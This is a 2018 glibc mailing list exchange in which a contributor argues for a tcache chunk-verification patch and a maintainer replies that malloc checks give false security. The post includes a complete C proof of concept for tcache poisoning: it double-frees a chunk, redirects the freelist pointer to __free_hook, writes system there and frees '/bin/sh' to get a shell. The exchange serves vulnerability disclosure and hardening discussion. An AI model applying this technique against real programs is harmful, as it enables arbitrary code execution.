malloc/free: tcache security patch

清水祐太郎 simiyu@shift-crops.net
Sat Apr 21 00:58:00 GMT 2018


I already read this post, but I sent an email because there was no patch.
"malloc: Security implications of tcache"(https://sourceware.org/ml/libc-alpha/2018-02/msg00298.html)

Certainly it is important to find vulnerabilities in user programs in first.
However, as long as there is a possibility that a bug exists, it is necessary to protect it with glibc.

> In short malloc check don't protect you and can't protect you. This
> patch only makes malloc slower for false sense of security.
The patch can protect you from the following attacks without buffer overflow.

```
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

typedef struct tcache_entry
{
        struct tcache_entry *next;
} tcache_entry;

int main(void){
        void *a;
        tcache_entry *p;
        unsigned long *s;

        a = malloc(0x20);
        dprintf(0, "Malloc from %p, and free three times.\n", a);
        free(a);
        free(a);
        free(a);

        p = malloc(0x20);
        p->next = &__free_hook;
        dprintf(0, "Malloc from tcache(%p) and tamper tcache_entry's next into __free_hook(%p).\n", p, &__free_hook);

        malloc(0x20);

        s = malloc(0x20);
        *s = system;
        dprintf(0,  "Now, you can malloc from __free_hook(%p)\n"
                    "Write system to __free_hook, and get a shell!\n\n", s);

        free("/bin/sh");
}
```

> Attacker could use buffer overflow in lot of ways before its freed. Also
> attacker could with some effort examine check and fake data structure to
> make check pass.
Attacker still can easily pass double free checks in tcache_put.
However, bypassing the chunk size check in tcache_get is very difficult.
You can prevent malloc from arbitrary address.

Windows 10 版のメールから送信

差出人: Ondřej Bílka
送信日時: 2018年4月21日 6:36
宛先: 清水祐太郎
CC: libc-help@sourceware.org
件名: Re: malloc/free: tcache security patch



On Fri, Apr 20, 2018 at 09:44:10PM +0900, 清水祐太郎 wrote:
> Hello
> 
> I'm Yutaro Shimizu (ShiftCrops).
> 
> I want to patch malloc.c.
> The mechanism of tcache is very similar to fastbins.
> However, I can malloc from arbitrary addresses by tampering the tcache_entry.
> That's because there is no chunk verification process.
> I think it is an important security issue.
> 
This was discussed recently, search archives.

In short malloc check don't protect you and can't protect you. This
patch only makes malloc slower for false sense of security.

Attacker could use buffer overflow in lot of ways before its freed. Also
attacker could with some effort examine check and fake data structure to
make check pass.

These are mainly used as tool to debug malloc implementation. That they
sometimes serve as poor's man valgrind is secondary. You should use
valgrind to find and fix buffer overflows in first place.




More information about the Libc-help mailing list